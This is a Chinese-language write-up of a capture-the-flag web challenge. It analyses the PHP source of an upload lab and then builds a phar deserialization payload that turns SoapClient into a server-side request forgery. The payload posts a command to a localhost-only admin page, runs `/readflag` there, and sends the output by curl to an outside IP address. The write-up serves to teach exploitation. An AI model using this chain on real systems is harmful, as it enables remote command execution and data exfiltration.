进入靶场
1,源代码
点击题目时有个就有个admin.php
<?php
// 引入配置文件
include 'config.php';class Ad{public $cmd;public $clazz;public $func1;public $func2;public $func3;public $instance;public $arg1;public $arg2;public $arg3;// 构造函数,用于初始化对象的属性function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){// 存储命令$this->cmd = $cmd;// 存储类名$this->clazz = $clazz;// 存储第一个函数名$this->func1 = $func1;// 存储第二个函数名$this->func2 = $func2;// 存储第三个函数名$this->func3 = $func3;// 存储第一个参数$this->arg1 = $arg1;// 存储第二个参数$this->arg2 = $arg2;// 存储第三个参数$this->arg3 = $arg3;}// 检查方法,使用反射来调用类的方法function check(){// 创建一个反射类,用于实例化类$reflect = new ReflectionClass($this->clazz);// 实例化类$this->instance = $reflect->newInstanceArgs();// 创建一个反射方法,用于调用类的第一个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);// 调用类的第一个方法,并传递第一个参数$reflectionMethod->invoke($this->instance, $this->arg1);// 创建一个反射方法,用于调用类的第二个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);// 调用类的第二个方法,并传递第二个参数$reflectionMethod->invoke($this->instance, $this->arg2);// 创建一个反射方法,用于调用类的第三个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);// 调用类的第三个方法,并传递第三个参数$reflectionMethod->invoke($this->instance, $this->arg3);}// 析构函数,在对象销毁时执行function __destruct(){// 使用 system 函数执行存储的命令system($this->cmd);}
}// 检查请求是否来自本地
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){// 检查是否有 admin 的 POST 请求if(isset($_POST['admin'])){// 获取 POST 请求中的命令$cmd = $_POST['cmd'];// 获取 POST 请求中的类名$clazz = $_POST['clazz'];// 获取 POST 请求中的第一个函数名$func1 = $_POST['func1'];// 获取 POST 请求中的第二个函数名$func2 = $_POST['func2'];// 获取 POST 请求中的第三个函数名$func3 = $_POST['func3'];// 获取 POST 请求中的第一个参数$arg1 = $_POST['arg1'];// 获取 POST 请求中的第二个参数$arg2 = $_POST['arg2'];// 获取 POST 请求中的第三个参数$arg3 = $_POST['arg3'];// 创建一个 Ad 类的对象,并传递相应参数$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);// 调用 check 方法$admin->check();}
}
else {// 输出非管理员信息echo "You r not admin!";
}
- 此文件定义了 Ad类,使用了反射机制。
__construct
方法接收多个参数,包括cmd
、clazz
、func1
、func2
、func3
、arg1
、arg2
和arg3
,存储在对象属性中。 check
方法使用反射来实例化$clazz
存储的类,并调用该类的三个函数func1
、func2
和func3
,并传递相应的参数。__destruct
方法使用system
函数执行cmd
存储的命令.- 有一个简单的权限检查,仅允许
127.0.0.1
地址的请求访问,通过检查$_SERVER['REMOTE_ADDR']
,若请求包含admin
的 POST 请求,会根据 POST 数据创建Ad
类对象并调用其check
方法。 Ad
类的__destruct
方法使用system
函数执行cmd
命令,可能导致命令执行漏洞。
源码里有
func.php
<?php
// 引入 class.php 文件
include 'class.php';// 检查是否同时设置了 submit 和 url 的 POST 请求
if (isset($_POST["submit"]) && isset($_POST["url"])) {// 使用正则表达式检查 url 的内容是否包含一些危险的协议或关键字if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){// 如果包含危险的协议或关键字,终止程序并输出提示信息die("Go away!");}else{// 获取 POST 请求中的 url 数据$file_path = $_POST['url'];// 创建 File 类的新实例,将 url 作为参数传递给构造函数$file = new File($file_path);// 调用 File 类的 getMIME 方法$file->getMIME();// 输出文件类型信息echo "<p>Your file type is '$file' </p>";}
}
?>
- 该文件引入
class.php
并检查submit
和url
的 POST 请求是否同时存在。 - 使用正则表达式对
url
进行检查,防止一些危险的协议或关键字,若匹配则终止程序。 - 若通过检查,会创建
File
类的对象并调用getMIME
方法获取文件的 MIME 类型。
class.php
<?php
// 引入 config.php 文件
include 'config.php';class File {// 存储文件名的公共属性public $file_name;// 存储文件类型的公共属性public $type;// 存储函数名的公共属性,默认为 "Check"public $func = "Check";// 构造函数,接收文件名作为参数function __construct($file_name) {$this->file_name = $file_name;}// 当对象反序列化时调用此方法function __wakeup() {// 使用反射类根据 $func 属性创建一个新的对象$class = new ReflectionClass($this->func);// 使用反射类实例化对象,并将 $file_name 作为参数传递$a = $class->newInstanceArgs([$this->file_name]);// 调用新对象的 check 方法$a->check();}// 获取文件 MIME 类型的方法function getMIME() {// 打开文件信息资源$finfo = finfo_open(FILEINFO_MIME_TYPE);// 获取文件的 MIME 类型$this->type = finfo_file($finfo, $this->file_name);// 关闭文件信息资源finfo_close($finfo);}// 当对象作为字符串使用时调用此方法function __toString() {// 返回文件的类型return $this->type;}
}class Check {// 存储文件名的公共属性public $file_name;// 构造函数,接收文件名作为参数function __construct($file_name) {$this->file_name = $file_name;}// 检查文件内容的方法function check() {// 获取文件的内容$data = file_get_contents($this->file_name);// 检查文件内容是否包含 "<?", 若包含则终止程序if (mb_strpos($data, "<?")!== FALSE) {die("<? in contents!");}}
}
- 此文件定义了
File
类和Check
类。 File
类的__construct
方法接收文件名并存储,__wakeup
方法使用反射创建Check
类的对象并调用其check
方法,对文件进行检查。getMIME
方法使用finfo
函数获取文件的 MIME 类型,__toString
方法返回文件类型。Check
类的check
方法检查文件内容是否包含"<?"
,若包含则终止程序。File
类的__wakeup
方法使用反射创建对象,但没有对func
属性进行严格的验证和过滤,使得攻击者可以控制要实例化的类,这是一个潜在的反序列化漏洞入口。
不过连<?都过滤了,还能传什么????
2,该构造payload了
参考[SUCTF 2019]Upload Labs 2 phar+Soapclient结合_suctf-2019-web-upload labs 2-CSDN博客
这篇博客最后还有出题人写的笔记
<?php
// 创建一个 Phar 文件
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt', 'text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File {public $file_name = "";public $func = "SoapClient";function __construct() {$target = "http://127.0.0.1/admin.php";$post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";$headers = [];$this->file_name = [null,array('location' => $target,'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),'uri' => 'hello')];}function createObject() {// 使用反射根据 $func 属性创建一个新的对象$class = new ReflectionClass($this->func);// 使用反射类实例化对象,并将 $file_name 作为参数传递$a = $class->newInstanceArgs([$this->file_name]);return $a;}
}$object = new File();
// 对序列化后的对象进行 URL 编码
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();// 以下是对创建的对象使用反射实例化的部分,为了演示将其放在同一文件中,但在实际应用中可能需要根据具体情况调整调用位置
if ($object instanceof File) {$createdObject = $object->createObject();// 这里可以根据 $createdObject 的类型和具体需求进行进一步的操作// 例如,检查是否为 SoapClient 类的实例if ($createdObject instanceof SoapClient) {echo "Successfully created SoapClient object";} else {echo "Failed to create SoapClient object";}
}
将运行结果传上去应该就能得到flag了,不过现在手头能运行PHP的东西都出了点问题